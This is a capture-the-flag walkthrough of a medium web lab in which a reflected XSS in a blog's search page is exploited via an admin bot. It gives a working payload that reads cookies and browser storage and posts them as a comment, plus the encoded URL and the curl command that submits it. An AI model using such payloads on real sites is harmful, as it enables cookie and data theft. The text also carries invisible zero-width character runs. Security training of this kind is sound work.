Lab 33 — PulsePress — Reflected XSS in Search Page

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_bot_exploitation, cookie_theft_via_javascript, differential_encoding_bypass, reflected_xss_exploitation, same_origin_data_exfiltration

Summary

Walkthrough of the CUSTOM Web Lab 33 — PulsePress — Reflected XSS in Search Page. Task: blog platform with search reflecting input in two places with inconsistent sanitization. Solution: exploit reflected XSS in unencoded reflection point, use same-origin comment posting to exfiltr

Description

PulsePress is a modern content management and publishing platform built for creative teams at PulseMedia Corp. The platform enables editorial teams to manage blog posts, articles, and media assets with features including a public blog, search functionality, user dashboards with personal notes, and content reporting.

Goal: Find and exploit a vulnerability that allows stealing a secret value stored in the admin's browser session. The admin regularly reviews reported content by visiting URLs submitted through the platform.

Credentials provided: user@test.com / password123

Hint: "Pay attention to how user input is reflected in search results. Does the application handle special characters the same way on every page?" ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A blog/CMS platform with search functionality. The goal is to steal a secret value from the admin's browser by exploiting how user input is handled in search results.

Analysis

1. Initial reconnaissance:

   • Application is an Express.js blog platform
   • Key features: /search (search page), /dashboard (notes), /report (submit URLs for admin review)
   • Headers show X-XSS-Protection but no Content Security Policy (CSP)

2. Identifying the vulnerability:

   • The search page at /search?q= reflects user input in TWO places with DIFFERENT sanitization:
     • Input value attribute: Properly HTML-encoded (value="<script>")
     • "Search results for:" text: NOT encoded (Search results for: <strong><script>alert(1)</script></strong>)

   Testing with curl confirmed the differential encoding:

    bash read-only • copy allowed Copy
   curl "$TARGET/search?q=<script>alert(1)</script>"

   The script tag was injected unescaped in the results text while being properly escaped in the input field. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

3. Exploitation challenges:

   • External webhooks (requestcatcher.com, oast.me) didn't receive callbacks — the admin bot sandbox blocked outbound requests
   • Session cookie was HttpOnly, but the flag was stored in a separate flag cookie without HttpOnly flag

4. Key insight: When external exfiltration is blocked, use application features for same-origin data exfiltration. The comment functionality on blog posts allows posting data that can be read later.

Solution

Step 1: Craft XSS payload for same-origin exfiltration

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Since external requests were blocked, used the comment feature to exfiltrate data to a publicly viewable location:

 javascript read-only • copy allowed Copy
<script>
fetch("/post/ai-assisted-writing-editorial-ethics/comment",{
  method:"POST",
  headers:{"Content-Type":"application/x-www-form-urlencoded"},
  body:"content=STOLEN:"+document.cookie+"|LS:"+JSON.stringify(localStorage)+"|SS:"+JSON.stringify(sessionStorage)
})
</script>

Step 2: URL encode and submit via report

 bash read-only • copy allowed Copy
# URL encode the XSS payload
MALICIOUS_URL="http://localhost:8080/search?q=%3Cscript%3Efetch%28%22/post/ai-assisted-writing-editorial-ethics/comment%22%2C%7Bmethod%3A%22POST%22%2Cheaders%3A%7B%22Content-Type%22%3A%22application/x-www-form-urlencoded%22%7D%2Cbody%3A%22content%3DSTOLEN%3A%22%2Bdocument.cookie%2B%22%7CLS%3A%22%2BJSON.stringify%28localStorage%29%2B%22%7CSS%3A%22%2BJSON.stringify%28sessionStorage%29%7D%29%3C/script%3E"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Submit to report endpoint for admin to visit
curl -b cookies.txt -X POST "$TARGET/report" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "url=$MALICIOUS_URL"

Step 3: Retrieve exfiltrated data

After the admin bot visited the malicious URL, checked comments on the blog post:

admin - Apr 27, 2026
STOLEN:flag=FLAG{REDACTED}|LS:{}|SS:{}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering admin_bot_exploitation, cookie_theft_via_javascript, differential_encoding_bypass, reflected_xss_exploitation, same_origin_data_exfiltration was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-04-27 • CUSTOM • Lab 33 — PulsePress — Reflected XSS in Search Page • Difficulty: Medium